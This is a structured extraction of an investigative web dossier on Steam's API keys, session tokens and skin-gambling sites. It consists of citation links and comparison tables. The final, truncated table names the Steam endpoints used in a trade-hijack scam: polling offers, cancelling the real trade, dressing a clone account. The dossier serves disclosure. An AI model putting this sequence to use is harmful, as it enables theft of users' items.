            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E43]",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "Registration and consent exhibits ↗",
            "url": "https://phishdestroy.io/steam_dossier/#consent-analysis"
          },
          {
            "label": "[E23]",
            "url": "https://partner.steamgames.com/doc/sdk/api"
          },
          {
            "label": "[E45]",
            "url": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E07]",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "The standards table in the parent dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#integration-paradox"
          },
          {
            "label": "The GitHub / Steam token comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/#token-comparator"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E34]",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "[E23]",
            "url": "https://partner.steamgames.com/doc/sdk/api"
          },
          {
            "label": "[E43]",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "[E28]",
            "url": "https://store.steampowered.com/news/posts/?appids=730&enddate=1714088148&feed=steam_community_announcements"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "[E06]",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "[E08]",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "[E11]",
            "url": "https://www.rfc-editor.org/rfc/rfc7519"
          },
          {
            "label": "[E07]",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E11]",
            "url": "https://www.rfc-editor.org/rfc/rfc7519"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "Inspect the redacted field record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E25]",
            "url": "https://www.rfc-editor.org/rfc/rfc8037"
          },
          {
            "label": "[E11]",
            "url": "https://www.rfc-editor.org/rfc/rfc7519"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E24]",
            "url": "https://www.rfc-editor.org/rfc/rfc7515"
          },
          {
            "label": "[E17]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E25]",
            "url": "https://www.rfc-editor.org/rfc/rfc8037"
          },
          {
            "label": "[E11]",
            "url": "https://www.rfc-editor.org/rfc/rfc7519"
          },
          {
            "label": "[E24]",
            "url": "https://www.rfc-editor.org/rfc/rfc7515"
          },
          {
            "label": "E04 · Read the documented workflow ↗",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E17 · Supplied fields]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "Read the extension code audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "Inspect the consent and registration record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#consent-analysis"
          },
          {
            "label": "Follow the documented substitution sequence ↗",
            "url": "https://phishdestroy.io/steam_dossier/#hijack-simulation"
          },
          {
            "label": "[E33]",
            "url": "https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "[E34]",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E34]",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "[E44]",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Read the vulnerability profile and the fix record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#vulnerability-profile"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "Read the historical registration and trade-method exhibits ↗",
            "url": "https://phishdestroy.io/steam_dossier/#api-reference"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E44]",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "[E34]",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Step through the hijack simulation in the parent dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/#hijack-simulation"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "[E48]",
            "url": "https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "Read the item-lineage and evidence-access record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#evidence-blackout"
          },
          {
            "label": "[E34]",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "[E05]",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "[E07]",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "[E43]",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "[E44]",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "[E45]",
            "url": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "[E43]",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "[E43]",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E16]",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "Original Web API overview ↗",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "JWT format reference ↗",
            "url": "https://www.jwt.io/"
          },
          {
            "label": "Open the new investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/steam-access.html#access"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "E08 · Read Valve’s statement ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "S / DCONTINUE THE INFRASTRUCTURE INVESTIGATIONTheir rules. Their system.The Steam Dossier examines the written rules, observed routes and enforcement record.↗",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E33]",
            "url": "https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "Inspect our captured support, developer and wiki records ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "[E08]",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E04]",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "Erik Johnson / Valve’s original statement ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Steam Online Conduct ↗",
            "url": "https://store.steampowered.com/online_conduct/"
          },
          {
            "label": "Valve’s public response ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E08]",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Subscriber Agreement analysis ↗",
            "url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "label": "Clauses against recorded platforms ↗",
            "url": "https://phishdestroy.io/steam_dossier/#legal-ledger-workspace-section"
          },
          {
            "label": "The market above Steam’s ceiling ↓",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#price-gap"
          },
          {
            "label": "E19 · Valve’s October 2016 response ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Open letter and Washington record ↗",
            "url": "https://phishdestroy.io/steam_dossier/#wsgc-public-address"
          },
          {
            "label": "July 2016 notices and dated history ↗",
            "url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "label": "The route register ↗",
            "url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "label": "[E18]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json"
          },
          {
            "label": "[E46]",
            "url": "https://store.steampowered.com/bigpicture/"
          },
          {
            "label": "[E47]",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "Read the embedded-browser and authentication-route investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "label": "Open this Steam check ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoroll.com"
          },
          {
            "label": "Open this Steam check ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://skinport.com"
          },
          {
            "label": "csgoroll.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoroll.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoroll.com"
          },
          {
            "label": "www.csgoroll.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://www.csgoroll.com/"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://www.csgoroll.com/"
          },
          {
            "label": "csgoempire.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoempire.com/"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoempire.com/"
          },
          {
            "label": "hellcase.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://hellcase.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://hellcase.com"
          },
          {
            "label": "csgostrong.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgostrong.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgostrong.com"
          },
          {
            "label": "csgo500.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgo500.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgo500.com"
          },
          {
            "label": "csgocosmos.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocosmos.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocosmos.com"
          },
          {
            "label": "csgocasino.net ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocasino.net"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocasino.net"
          },
          {
            "label": "csgo2x.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgo2x.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgo2x.com"
          },
          {
            "label": "csgohouse.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgohouse.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgohouse.com"
          },
          {
            "label": "csgoatse.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoatse.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgoatse.com"
          },
          {
            "label": "csgocash.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocash.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgocash.com"
          },
          {
            "label": "csgobig.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgobig.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgobig.com"
          },
          {
            "label": "csgomassive.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgomassive.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgomassive.com"
          },
          {
            "label": "skins2.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://skins2.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://skins2.com"
          },
          {
            "label": "csgopot.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgopot.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgopot.com"
          },
          {
            "label": "csgowild.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgowild.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgowild.com"
          },
          {
            "label": "skinport.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://skinport.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://skinport.com"
          },
          {
            "label": "gamdom.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://gamdom.com"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://gamdom.com"
          },
          {
            "label": "csgofast.hk ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast.hk"
          },
          {
            "label": "Steam response ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast.hk"
          },
          {
            "label": "Download the checks and timestamps ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json"
          },
          {
            "label": "26THE WIDER ROUTE REGISTERA blocked homepage. An available login route.The Steam Dossier’s September register follows 26 filter-split pairs from the main domain to a separate Steam authentication host.↗",
            "url": "https://phishdestroy.io/steam_dossier/#proxy-bypass-explainer"
          },
          {
            "label": "[E36]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json"
          },
          {
            "label": "https://csgofast ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast"
          },
          {
            "label": "https://csgofast.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast.com"
          },
          {
            "label": "https://csgofast.hk ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast.hk"
          },
          {
            "label": "https://example.com/?name=csgofast ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://example.com/?name=csgofast"
          },
          {
            "label": "https://csgofast.example.com ↗",
            "url": "https://steamcommunity.com/linkfilter/?url=https://csgofast.example.com"
          },
          {
            "label": "Download this five-input check ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E46]",
            "url": "https://store.steampowered.com/bigpicture/"
          },
          {
            "label": "[E47]",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "DevSpen",
            "url": "https://github.com/DevSpen/scam-links"
          },
          {
            "label": "Discord-AntiScam",
            "url": "https://github.com/Discord-AntiScam/scam-links"
          },
          {
            "label": "PhishDestroy destroylist",
            "url": "https://github.com/phishdestroy/destroylist"
          },
          {
            "label": "Methodology · English · TXT",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/methodology.txt"
          },
          {
            "label": "Recounted results · JSON",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/summary.json"
          },
          {
            "label": "Individual files & signatures · English",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Read the 120-domain longitudinal phishing audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/#linkfilter-coverage"
          },
          {
            "label": "the extension audit",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "the three-operator comparison",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "Valve and enforcement",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html"
          },
          {
            "label": "https://store.steampowered.com/agreement/?l=english",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "https://partner.steamgames.com/doc/webapi_overview/auth",
            "url": "https://partner.steamgames.com/doc/webapi_overview/auth"
          },
          {
            "label": "https://www.csgoroll.com/blog/steam-p2p-solution/",
            "url": "https://www.csgoroll.com/blog/steam-p2p-solution/"
          },
          {
            "label": "https://www.csgoroll.com/blog/csgoroll-trading-extension/",
            "url": "https://www.csgoroll.com/blog/csgoroll-trading-extension/"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json"
          },
          {
            "label": "https://partner.steamgames.com/doc/webapi/IEconService",
            "url": "https://partner.steamgames.com/doc/webapi/IEconService"
          },
          {
            "label": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth",
            "url": "https://partner.steamgames.com/doc/webapi/ISteamUserAuth"
          },
          {
            "label": "https://partner.steamgames.com/doc/webapi_overview",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "https://partner.steamgames.com/doc/sdk/api",
            "url": "https://partner.steamgames.com/doc/sdk/api"
          },
          {
            "label": "https://www.csgoroll.com/blog/trade-protection-update/",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "https://steamcommunity.com/dev?l=en",
            "url": "https://steamcommunity.com/dev?l=en"
          },
          {
            "label": "https://store.steampowered.com/news/posts/?appids=730&enddate=1714088148&feed=steam_community_announcements",
            "url": "https://store.steampowered.com/news/posts/?appids=730&enddate=1714088148&feed=steam_community_announcements"
          },
          {
            "label": "https://www.csgoroll.com/blog/new-trading-system/",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "https://store.steampowered.com/oldnews/22883",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "https://www.rfc-editor.org/rfc/rfc7519",
            "url": "https://www.rfc-editor.org/rfc/rfc7519"
          },
          {
            "label": "https://www.rfc-editor.org/rfc/rfc8037",
            "url": "https://www.rfc-editor.org/rfc/rfc8037"
          },
          {
            "label": "https://www.rfc-editor.org/rfc/rfc7515",
            "url": "https://www.rfc-editor.org/rfc/rfc7515"
          },
          {
            "label": "https://steamcommunity.com/dev/apiterms",
            "url": "https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "https://blog.csfloat.com/how-floatdb-tracks-items/",
            "url": "https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "https://store.steampowered.com/online_conduct/",
            "url": "https://store.steampowered.com/online_conduct/"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json"
          },
          {
            "label": "https://store.steampowered.com/bigpicture/",
            "url": "https://store.steampowered.com/bigpicture/"
          },
          {
            "label": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "User API Key, Publisher API Key and Session JWT compared using the same seven fields",
            "rows": [
              [
                "01STEAM ACCOUNT HOLDERUser\nAPI KeyA key registered to a user’s account.E16 · User-key documentation ↗",
                "02GAME DEVELOPER / PUBLISHERPublisher\nAPI KeyA key managed by a Steamworks publisher.E16 · Publisher-key documentation ↗",
                "03LOGGED-IN STEAM SESSIONSession\nJWTThe browser’s webapi_token.E04 · CSGORoll’s token instructions ↗"
              ],
              [
                "WHO GETS IT\n\nA Steam account holder. This is the personal user-key route. [E16]",
                "WHO GETS IT\n\nA Steamworks publisher. An administrator creates the key for a publisher group. [E16]",
                "WHO GETS IT\n\nA logged-in Steam user’s browser. The token comes from that active session. [E04]"
              ],
              [
                "WHERE IT COMES FROM\n\nAccount-key registration.steamcommunity.com/dev/apikey ↗The registration associates a domain with the account’s key.",
                "WHERE IT COMES FROM\n\nSteamworks group administration.Steamworks → Users & Permissions → Manage Groups ↗The administrator chooses applications and key permissions.",
                "WHERE IT COMES FROM\n\nThe browser’s session configuration.steamcommunity.com/pointssummary/ajaxgetasyncconfig ↗CSGORoll’s instructions identify the field webapi_token."
              ],
              [
                "WHAT IT GIVES ACCESS TO\n\nAccount data and user-key methods. The trade-record reference includes GetTradeHistory, GetTradeOffers and GetTradeOffer. [E44]",
                "WHAT IT GIVES ACCESS TO\n\nPublisher and game-server operations. Examples include player-ticket verification, purchases and inventory services, within the key’s permissions. [E16] [E45]",
                "WHAT IT GIVES ACCESS TO\n\nAuthenticated access in the user’s session context. CSGORoll documents using it to monitor the seller’s trades. [E04]"
              ],
              [
                "PERMISSIONS & IP CONTROLS\n\nThe Steam user’s account context. Access is determined by which methods accept that key. The historical security record examines broad account access and its abuse. Read the key-security record ↗",
                "PERMISSIONS & IP CONTROLS\n\nApp associations and permission groups. A publisher key can also be restricted to selected calling IP addresses. [E16]",
                "PERMISSIONS & IP CONTROLS\n\nSubject, audience and session claims. The supplied JWT includes sub, aud: web:community and IP-related fields. Steam applies the access rules. [E17]"
              ],
              [
                "LIFETIME & RENEWAL\n\nA registered, persistent credential. The historical investigation follows continued access after registration; Valve controls whether the key remains accepted. Registration and lifecycle evidence ↗",
                "LIFETIME & RENEWAL\n\nManaged through the publisher group. Group configuration, permissions and Valve’s access controls govern its use. [E16]",
                "LIFETIME & RENEWAL\n\nTemporary session credential. Roll’s April 2024 instructions require daily replacement. The token carries an expiry time; the current code audit separately identifies the available renewal paths. [E04]"
              ],
              [
                "HOW IT REACHES A SERVER\n\nA key in an API request. Valve supports a request parameter or the x-webapi-key header. [E16]",
                "HOW IT REACHES A SERVER\n\nA request from a secure publisher server. The publisher host, partner.steam-api.com, requires a publisher key and HTTPS. [E43]",
                "HOW IT REACHES A SERVER\n\nA token handed to the outside platform. Roll’s June 2024 announcement describes automatic collection, renewal and upload. Its current version 1.2 instead provides a token-copy popup for manual submission. [E05]"
              ],
              [
                "ROLE IN THIS INVESTIGATION\n\nThe historical account-access route. The dossier follows key registration, consent attribution and trade substitution. Registration and consent exhibits ↗",
                "ROLE IN THIS INVESTIGATION\n\nThe game-publisher integration route. This is the developer-side context people often mean when they say “Steam API.” [E23] [E45]",
                "ROLE IN THIS INVESTIGATION\n\nThe seller-session route documented by CSGORoll. Monitoring the Steam exchange feeds the operator’s decision to credit or release its own coins. [E04] [E07]"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "Published external security requirements set against the Steam Web API’s own dates",
            "rows": [
              [
                "The published standard",
                "The date it took effect",
                "The Steam Web API on the same question"
              ],
              [
                "Scoped authorisation",
                "OAuth 2.0 — RFC 6749, October 2012. Section 3.3 defines scope so a client receives only the access it asks for. It has been the default of every major platform API since.",
                "Granular scopes arrived on 16 January 2026. Before that, a single Steam Web API key carried full read and write over the account’s trades regardless of why it was issued — thirteen years and three months after the specification that defines the control."
              ],
              [
                "A second factor on privileged access",
                "PCI DSS 3.2, requirement 8.3 — mandatory from 1 February 2018 for all non-console administrative and all remote access to the cardholder data environment. Apple then required two-factor authentication of every Developer Program account holder from 27 February 2019: “developers with the Account Holder role in a developer program will need to enable two-factor authentication to sign in.”",
                "A second factor was required to create an API key from 4 December 2023. Until then a stolen session cookie was enough — no prompt on the account holder’s phone, no notification afterwards. Four years and nine months after Apple made Valve itself use a second factor merely to sign in to a developer portal."
              ],
              [
                "Credential lifecycle and revocation",
                "Twitch requires of every third-party application: “Your app must validate the OAuth token when it starts and on an hourly basis thereafter” — and retired its legacy v5 API outright on a published schedule, 28 February 2022.",
                "No published key-lifecycle record. The 2023 change protected the creation endpoint; no Valve statement located with it addresses keys already registered, and no changelog accompanied the change at all. Whether pre-fix keys were invalidated cannot be established from public data."
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "How to read the supplied JWT without confusing a field with a permission",
            "rows": [
              [
                "Field",
                "Meaning in this record",
                "Role in the access decision"
              ],
              [
                "typ",
                "JWT: the declared token type.",
                "Identifies the format being parsed."
              ],
              [
                "alg",
                "EdDSA: the declared signing algorithm. [E25]",
                "The signing layer protects integrity."
              ],
              [
                "iss",
                "Issuer identifier.",
                "Who issued the claims."
              ],
              [
                "sub",
                "Subject: the Steam account identifier in the supplied notes.",
                "Which account the token concerns."
              ],
              [
                "aud",
                "Intended recipient; the excerpt contains web:community.",
                "Audience validation, alongside the endpoint’s authorisation rules."
              ],
              [
                "iat",
                "Issue time.",
                "When the token was created."
              ],
              [
                "nbf",
                "Earliest acceptance time.",
                "The token is not valid before this time."
              ],
              [
                "exp",
                "Expiry time.",
                "The token must cease to be accepted at expiry."
              ],
              [
                "jti",
                "Token identifier.",
                "Identifies this token instance."
              ],
              [
                "oat, rt_exp",
                "Additional timestamps listed in the supplied Steam payload.",
                "Issuer-defined session metadata. Their exact processing is part of Steam’s implementation."
              ],
              [
                "ip_subject, ip_confirmer",
                "IP-related fields, with addresses redacted.",
                "Issuer-defined network context; enforcement depends on the receiving service."
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "Four documented endpoints do the whole job — none of them is a flaw",
            "rows": [
              [
                "Endpoint",
                "Role in the sequence",
                "What it contributes"
              ],
              [
                "IEconService/GetTradeOffers",
                "Polls the account",
                "Monitors the account’s trade offers — the details of newly created, pending or modified offers, including offer IDs and the recipient’s profile. [E44]"
              ],
              [
                "IEconService/CancelTradeOffer",
                "Voids the real trade",
                "Programmatically invalidates the legitimate offer before the account holder completes the mobile confirmation."
              ],
              [
                "ISteamUser/GetPlayerSummaries",
                "Dresses the clone",
                "Returns the legitimate recipient’s profile name and avatar URL, so a prepared clone account can be dressed to match."
              ],
              [
                "dev/ajaxregisterkey",
                "Mints the credential",
